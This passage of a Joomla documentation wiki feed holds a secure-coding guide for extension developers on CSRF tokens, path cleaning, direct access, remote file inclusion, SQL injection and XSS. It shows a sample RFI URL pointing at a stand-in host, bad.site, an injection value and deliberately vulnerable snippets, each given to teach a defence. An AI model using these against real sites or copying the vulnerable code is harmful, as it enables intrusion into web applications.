&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
echo JHTML::_( &#039;form.token&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
This outputs the token as a hidden form field looking like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;8cb24ae69ffd7828ccecbcf06056e6fc&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
and places a copy of the token into the user&#039;s session, for later checking.&lt;br /&gt;
&lt;br /&gt;
If you need to add the token to a URL rather than a form then you can use something like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
echo JRoute::_( &#039;index.php?option=com_mycomponent&amp;amp;&#039; . JUtility::getToken() . &#039;=1&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the most common scenario, you will want to check the token following a POST to the form handler.  This can be done by adding this line of code to form handler:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
JRequest::checkToken() or die( JText::_( &#039;Invalid Token&#039; ) );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
If you need to pass the token in a GET request then you can check it like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
JRequest::checkToken( &#039;get&#039; ) or die( JText::_( &#039;Invalid Token&#039; ) );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In both cases the code will die if the token is omitted from the request, or the submitted token does not match the session token.  If the token is correct but has expired, then [[JRequest/checkToken|JRequest::checkToken]] will automatically redirect to the site front page.&lt;br /&gt;
&lt;br /&gt;
==Cleaning filesystem paths==&lt;br /&gt;
If there is any possibility that a filesystem path might be constructed using data that originated from user input, then the path must be cleaned and checked before being used.  This can be done quite simply like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
JPath::check( $path );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
This will raise an error and terminate Joomla if the path contains a &amp;quot;..&amp;quot; or leads to a location outside the Joomla root directory.  If you want to deal with the error yourself without terminating the application, then you can use code like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$path = JPath::clean( $path );&lt;br /&gt;
if (strpos( $path, JPath::clean( JPATH_ROOT ) ) !== 0) {&lt;br /&gt;
    // Handle the error here.&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
The [[JPath:clean]] method can be used in your own code too.  It merely removes leading and trailing whitespace and replace double slashes and backslashes with the standard directory separator.&lt;br /&gt;
&lt;br /&gt;
==Cleaning filesystem file names==&lt;br /&gt;
As with filesystem paths, if there is any possibility that a file name might be constructed using user-originated data, then the file name must be cleaned and checked before use.  This can be done like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
jimport(&#039;joomla.filesystem.file&#039;);&lt;br /&gt;
$clean = JFile::makeSafe( $unclean );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
This method removes sequences of two or more &amp;quot;.&amp;quot; characters and any character that is not alphabetic, numeric or a dot, dash or underscore character.  If there is a leading dot then that is removed too.&lt;br /&gt;
[[Category:Development]][[Category:Security]]&lt;/div&gt;</summary>
		<author><name>Rand486</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Securing_Joomla_extensions&amp;diff=64290</id>
		<title>Securing Joomla extensions</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Securing_Joomla_extensions&amp;diff=64290"/>
		<updated>2012-01-11T16:19:24Z</updated>

		<summary type="html">&lt;p&gt;Rand486: /* Secure your software against direct access */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{JVer|1.0}} &#039;&#039;This article applies mainly to Joomla 1.0. Please be careful when applying the techniques mentioned in it to newer versions of Joomla.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
By default, Joomla! is very secure. Especially with the coming Joomla! 1.5 release, security will again be improved. While most core components are safe and secure, often hackers get into the system by using third party extensions. This article is targeted at giving you an easy guide for making your extension as safe as possible.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;We strongly recommend using these functions to ensure maximum security.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Intro: Guide to more secure Components/Modules/Plugins... ==&lt;br /&gt;
Are you a third party developer for Joomla! addons? Do you publish your programs on the Joomla! forge or on your website? Well, thank you for doing that, the community probably loves you for sharing your work!&lt;br /&gt;
&lt;br /&gt;
However, there are a few things in terms of security that you should be aware of. Just having a component that runs fine on your computer is usually not enough! You need to take care of security, because otherwise your programm could easily ruin the websites of your customers.&lt;br /&gt;
&lt;br /&gt;
So, lets just jump right into it. These are the topics I will deal with in this guide:&lt;br /&gt;
&lt;br /&gt;
* Secure your software against direct access&lt;br /&gt;
* Secure your software against remote file inclusion&lt;br /&gt;
* Secure your software against SQL injections&lt;br /&gt;
* Secure your software against XSS scripting&lt;br /&gt;
* Make sure your software does not need register_globals&lt;br /&gt;
* Check access privileges of users&lt;br /&gt;
* How to achieve raw component output (for pictures, RSS-feeds etc.)&lt;br /&gt;
* Various things to be aware of&lt;br /&gt;
&lt;br /&gt;
Please note that when I refer to components, I also mean modules, plugins (formerly mambots) and templates as well. All code examples in this guide are written for Joomla! 1.0.x and Joomla! 1.5.x.&lt;br /&gt;
&lt;br /&gt;
== Secure your software against direct access ==&lt;br /&gt;
The files of your component will usually be called by Joomla!. Joomla! is a wrapper around your software, it provides many useful features like user authentication and so on. Since developers usually test their components only through Joomla!, they tend to forget about the possibility of calling files directly. Instead of calling your component by&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
http:/ /www.example.com/index.php?option=com_yourcomponent&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
crackers also might try to use&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As you can see, the PHP file will be executed directly, without Joomla! as a wrapper around it. Now, if your file only contains some classes or functions, but does not execute any code, there is nothing wrong about that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
 class myClass {&lt;br /&gt;
     [SomeFunctionsHere]&lt;br /&gt;
 }&lt;br /&gt;
 function myFunction() {&lt;br /&gt;
     [SomeCodeHere]&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The cracker would just see an empty page when accessing your file directly. But if that PHP file actually executes anything, he would probably see a bunch of error messages, revealing important details of your system. Under some circumstances, he might also be able to execute any code he wants to, on your system!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Conclusion:&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
To make your component secure against direct access, insert this code line into the beginning of every PHP file that executes code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
// no direct access&lt;br /&gt;
defined( &#039;_VALID_MOS&#039; ) or die( &#039;Restricted access&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
// no direct access&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die(&#039;Restricted access&#039;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a MUST for every file that executes PHP code. If you are in doubt whether your file executes code, do use this line!&lt;br /&gt;
&lt;br /&gt;
== Secure your software against remote file inclusion ==&lt;br /&gt;
Now imagine, you have a line like this one in your code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
include( $mosConfig_absolute_path . &#039;/components/com_yourcomponent/yourcomponent.class.php&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Furthermore, imagine that a cracker tries to access your file as&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
http://www.example.com/components/com_yourcomponent/yourcomponent.php?&lt;br /&gt;
mosConfig_absolute_path=http://www.bad.site/bad.gif?&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
and actually sends back executable PHP code under the filename of that image. That code then is executed (assuming that register_globals is switched on in your webserver, which unfortunaltely is the case for many people) in your or your customers webserver with the permissions of the webserver. The attacker can do anything he wants to do (and what the webserver is allowed for) on your webserver! This is called remote file inclusion. Unfortunately, this is something even script kiddies can do easily.&lt;br /&gt;
There are also some more advanced technics out there that allow for remote file inclusion in some PHP versions even if you have switched register_globals off. Remote file inclusion only works on systems that have the PHP setting allow_url_fopen switched to on. But as this option is needed by many &amp;quot;good&amp;quot; programs as well, switching it off is not always a good idea.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Conclusion:&#039;&#039;&#039;&lt;br /&gt;
To secure your code against remote file inclusion, you need to make sure no unvalidated input is used when including files. At first, apply the solution from part 1 of this guide. Secondly, be very carefull with all calls to functions dealing with the file system, especially e.g. include, require, include_once, require_once, fopen. If you really need to include files with variable names, make sure to validate all these variables.&lt;br /&gt;
&lt;br /&gt;
A good practice to include files is using constants [2.2]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
define( &#039;YOURBASEPATH&#039;, dirname(__FILE__) );&lt;br /&gt;
 require_once( YOURBASEPATH . &#039;/file_to_include.php&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
define( &#039;YOURBASEPATH&#039;, dirname(__FILE__) );&lt;br /&gt;
 require_once( YOURBASEPATH . &#039;/file_to_include.php&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As this uses no variables at all, there is no chance for a cracker to open files from remote servers.&lt;br /&gt;
&lt;br /&gt;
== Secure your software against SQL injections ==&lt;br /&gt;
SQL injections make it possible for attackers to modify certain unsafe SQL queries, your script executes, in such a way that it could alter data in your database or give out sensible data to the attacker. That is because of unvalidated user input.&lt;br /&gt;
&lt;br /&gt;
Take a look at this code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$value = $_GET[&#039;value&#039;];&lt;br /&gt;
 $database-&amp;gt;setQuery( &amp;quot;SELECT * FROM #__mytable WHERE id = $value&amp;quot; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An attacker could hand over a string like &#039;1 OR 1&#039;, the query results in &amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&amp;quot;SELECT * FROM #__mytable WHERE id = 1 OR 1&amp;quot;&amp;lt;/source&amp;gt;, thus returning all rows from jos_mytable. I&#039;m not going more into detail here, as SQL injections are covered quite good on the web. Please take a look at the resources listed at the bottom of this post.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Conclusion:&#039;&#039;&#039;&lt;br /&gt;
Validate all user input before you use it in a SQL query. Apply&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$string = $database-&amp;gt;getEscaped( $string );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$string = $db-&amp;gt;getEscaped( $string );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to all strings that will be used in SQL queries, and apply&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$value = intval( $value );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$value = intval( $value );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to all integer numbers you use in SQL queries.&lt;br /&gt;
Again, for more information on SQL injections, please take a look at the listed resources, especially [3.2].&lt;br /&gt;
&lt;br /&gt;
Also, make sure to use mosGetParam() [5.5] for retrieving user input from the request, e.g.:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$value = mosGetParam( $_POST, &#039;value&#039; );&lt;br /&gt;
 $value = mosGetParam( $_POST, &#039;value&#039;, &#039;default&#039; );	// This will return &#039;default&#039;&lt;br /&gt;
							// when $_POST[&#039;value&#039;] is not set.&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mosGetParam will return escaped values, independantly of PHP&#039;s magic_quotes_gpc setting.&lt;br /&gt;
&lt;br /&gt;
**Warning:**mosGetParam (and quotes escaping) is not protecting against some injections for numbers. You must convert the variable to an int with inval($var) or (int) $var in order to prevent those injections.&lt;br /&gt;
&lt;br /&gt;
In Joomla! 1.5 use JRequest::getvar(), e.g.:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$value 	= JRequest::getVar( &#039;value&#039;, &#039;&#039;, &#039;post&#039;, string );&lt;br /&gt;
$value  = JRequest::getVar( &#039;value&#039;, &#039;default&#039;, &#039;post&#039;, string );	// This will return&lt;br /&gt;
						// &#039;default&#039; when $_POST[&#039;value&#039;] is not set.&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
JRequest::getVar will return **__unescaped__** values, independantly of PHP&#039;s magic_quotes_gpc setting. In Joomla! 1.5, due to UTF-8 support, the Framework rule is that variables in the code are unescaped, and proper database escaping must be applied at database request time with $db-&amp;gt;getEscaped( $string ) or using the object-methods save() which do the proper escaping.&lt;br /&gt;
&lt;br /&gt;
== Secure your software against XSS ==&lt;br /&gt;
Cross Site Scripting (XSS) means executing script code (e.g. JavaScript) in a visitors browser. Be carefull not to echo out any unvalidated input to a user. Code like this is dangerous for your visitors:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
echo $_REQUEST[&#039;value&#039;];&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Conclusion:&#039;&#039;&#039;&lt;br /&gt;
Use mosGetParam() [5.5] for retrieving user input from a request, it does strip out a pretty good amount of insecure stuff. But don&#039;t rely on it, also take a good look at places where you echo out things to the webbrowser. Apply&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$value = htmlspecialchars( $value );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to strings before you echo them out to the browser.&lt;br /&gt;
&lt;br /&gt;
== Make sure your software does not need register_globals ==&lt;br /&gt;
Up to now, there are many programs that rely on register_globals being set to ON. PHP then imports all $_GET, $_POST, $_COOKIE data and some other variables into the global scope. When people program things correctly, there is not neccessarily anything wrong about it. But unfortunaltely there are very many programs out there using global variables in an insecure way. This might open up serious security holes. Therefore, users are advised to switch off register_globals, and more and more hosting companies do so for security reasons.&lt;br /&gt;
&lt;br /&gt;
You should never use any uninstantiated variables. Make sure to properly fill each variable before using it. To check whether your component is capable of running without register_globals, you should do the following:&lt;br /&gt;
&lt;br /&gt;
* Enable error reporting in PHP to see notices. This will give you some hints on which variables are used without prior initialization.&lt;br /&gt;
* Set register_globals to off in your php.ini.&lt;br /&gt;
* Set RG_EMULATION to 0 in globals.php in your Joomla! root folder.&lt;br /&gt;
&lt;br /&gt;
Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
echo $GLOBALS[&#039;varname&#039;];&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You should rather use this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
global $varname;&lt;br /&gt;
 echo $varname;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Check access privileges of users ==&lt;br /&gt;
When giving access to certain components (or to certain database table rows) you might want to make sure that only registered or special users can access it. I&#039;m not going into any ACL related issues here, I rather want to give you a short overview on how to distinguish guest, registered (and logged in) users, and special users (by default all users below Registered, meaning Authors, Publishers etc.).&lt;br /&gt;
&lt;br /&gt;
Joomla! provides (again, only in in 1.0.x) the $my object which holds information about the current user. These are the settings for the different access types (only applies to the frontend):&lt;br /&gt;
&lt;br /&gt;
* $my-&amp;gt;gid = 0 ==&amp;gt; the user is not logged in&lt;br /&gt;
* $my-&amp;gt;gid = 1 ==&amp;gt; the user is a registered user&lt;br /&gt;
* $my-&amp;gt;gid = 2 ==&amp;gt; the user is a special user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Conclusion:&#039;&#039;&#039;&lt;br /&gt;
You can check these values to block access to certain parts of your component.&lt;br /&gt;
&lt;br /&gt;
Also, make sure not to present any information to a user he does not have access to. A simple SQL query that takes into account the permissions of the category for a certain databse entry (assuming your data is sorted into categories) might look like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM #__contact_details AS c&lt;br /&gt;
 LEFT JOIN #__categories AS cat ON cat.id = c.catid&lt;br /&gt;
 WHERE ( c.name LIKE &#039;%$text%&#039; )&lt;br /&gt;
 AND c.published = 1&lt;br /&gt;
 AND cat.published = 1&lt;br /&gt;
 AND c.access &amp;lt;= $my-&amp;gt;gid&lt;br /&gt;
 AND cat.access &amp;lt;= $my-&amp;gt;gid&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
// Initialize variables as example how to get the current user&lt;br /&gt;
$app	= &amp;amp; $this-&amp;gt;getApplication();&lt;br /&gt;
$user	= &amp;amp; $app-&amp;gt;getUser();&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM #__contact_details AS c&lt;br /&gt;
 LEFT JOIN #__categories AS cat ON cat.id = c.catid&lt;br /&gt;
 WHERE ( c.name LIKE &#039;%$text%&#039; )&lt;br /&gt;
 AND c.published = 1&lt;br /&gt;
 AND cat.published = 1&lt;br /&gt;
 AND c.access &amp;lt;= $user-&amp;gt;get(&#039;gid&#039;)&lt;br /&gt;
 AND cat.access &amp;lt;= $user-&amp;gt;get(&#039;gid&#039;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that both the contact details and the category are checked for being published and for being within the users access level.&lt;br /&gt;
&lt;br /&gt;
== How to achieve raw component output (for pictures, RSS-feeds etc.) ==&lt;br /&gt;
In some cases, users need to send out raw data (no Joomla! template around it) to the browser, for example binary pictures or XML data for RSS feeds. Developers tend to write their own entry point PHP files, but this should only be a last resort. It is better to let Joomla! handle things.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Conclusion:&#039;&#039;&#039;&lt;br /&gt;
You should add a new function to your component (and to the switch statement that handles the selected $task). Then, call your component like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
http:/ /www.example.com/index2.php?option=com_yourcomponent&amp;amp;task=your_task&amp;amp;no_html=1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you really need to provide an entry point – a file that might be called directly – make sure to take care of part 2 of this guide. Secondly, the first thing you should do in your code is to include Joomla!&#039;s globals.php (and if needed, Joomla!&#039;s configuration.php).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
define( &#039;YOURBASEPATH&#039;, dirname(__FILE__) );&lt;br /&gt;
 require_once( YOURBASEPATH . &#039;/../../globals.php&#039; );&lt;br /&gt;
 require_once( YOURBASEPATH . &#039;/../../configuration.php&#039; );&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Again, you are advised to not provide your own entry point, and if you do, be very carefull with it.&lt;br /&gt;
&lt;br /&gt;
== Various things to be aware of ==&lt;br /&gt;
There are some more things you should not do, and also some functions you should not use at all.&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t use eval(). eval() is evil! Tongue&lt;br /&gt;
* Don&#039;t use the backtick operator [8.2], exec, shell_exec, system, popen and such functions&lt;br /&gt;
* Don&#039;t automatically send out an email to you whenever your component becomes installed somewhere. This will give you a bad reputation!&lt;br /&gt;
* We should never ever see the use of @$_GET or @$_POST, etc, in the code&lt;br /&gt;
&lt;br /&gt;
== Resources ==&lt;br /&gt;
&lt;br /&gt;
=== Secure your software against direct access ===&lt;br /&gt;
&lt;br /&gt;
* No resources so far.&lt;br /&gt;
&lt;br /&gt;
=== Secure your software against remote file inclusion ===&lt;br /&gt;
&lt;br /&gt;
* http://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution&lt;br /&gt;
* http://dev.joomla.org/index.php?option=com_jd-wiki&amp;amp;Itemid=31&amp;amp;id=faq:path_constants For Joomla! 1.5&lt;br /&gt;
&lt;br /&gt;
=== Secure your software against SQL injections ===&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Sql_injection&lt;br /&gt;
* http://php.net/manual/en/security.database.sql-injection.php&lt;br /&gt;
* http://www.owasp.org/index.php/PHP_Top_5#P3:_SQL_Injection&lt;br /&gt;
   &lt;br /&gt;
=== Secure your software against XSS scripting ===&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/XSS&lt;br /&gt;
* http://www.owasp.org/index.php/Cross_Site_Scripting&lt;br /&gt;
* http://www.owasp.org/index.php/PHP_Top_5#P2:_Cross-site_scripting&lt;br /&gt;
* http://php.net/manual/en/function.htmlspecialchars.php&lt;br /&gt;
&lt;br /&gt;
=== Make sure your software does not need register_globals ===&lt;br /&gt;
&lt;br /&gt;
* http://php.net/manual/en/function.error-reporting.php Make sure your level for error_reporting includes E_NOTICE&lt;br /&gt;
* http://php.net/manual/en/ini.core.php#ini.register-globals&lt;br /&gt;
* http://php.net/manual/en/language.variables.predefined.php&lt;br /&gt;
* http://www.hardened-php.net/index.76.html&lt;br /&gt;
* http://forum.joomla.org/index.php/topic,15691.0.html&lt;br /&gt;
&lt;br /&gt;
=== Check access privileges of users ===&lt;br /&gt;
&lt;br /&gt;
* No resources so far.&lt;br /&gt;
&lt;br /&gt;
=== How to achieve raw component output (for pictures, RSS-feeds etc.)===&lt;br /&gt;
&lt;br /&gt;
* No resources so far.&lt;br /&gt;
&lt;br /&gt;
=== Various things to be aware of ===&lt;br /&gt;
&lt;br /&gt;
* http://www.owasp.org/index.php/PHP_Top_5#How_to_Determine_if_you_are_Vulnerable&lt;br /&gt;
* http://php.net/manual/en/language.operators.execution.php&lt;br /&gt;
&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:Tutorials]]&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Rand486</name></author>
	</entry>
</feed>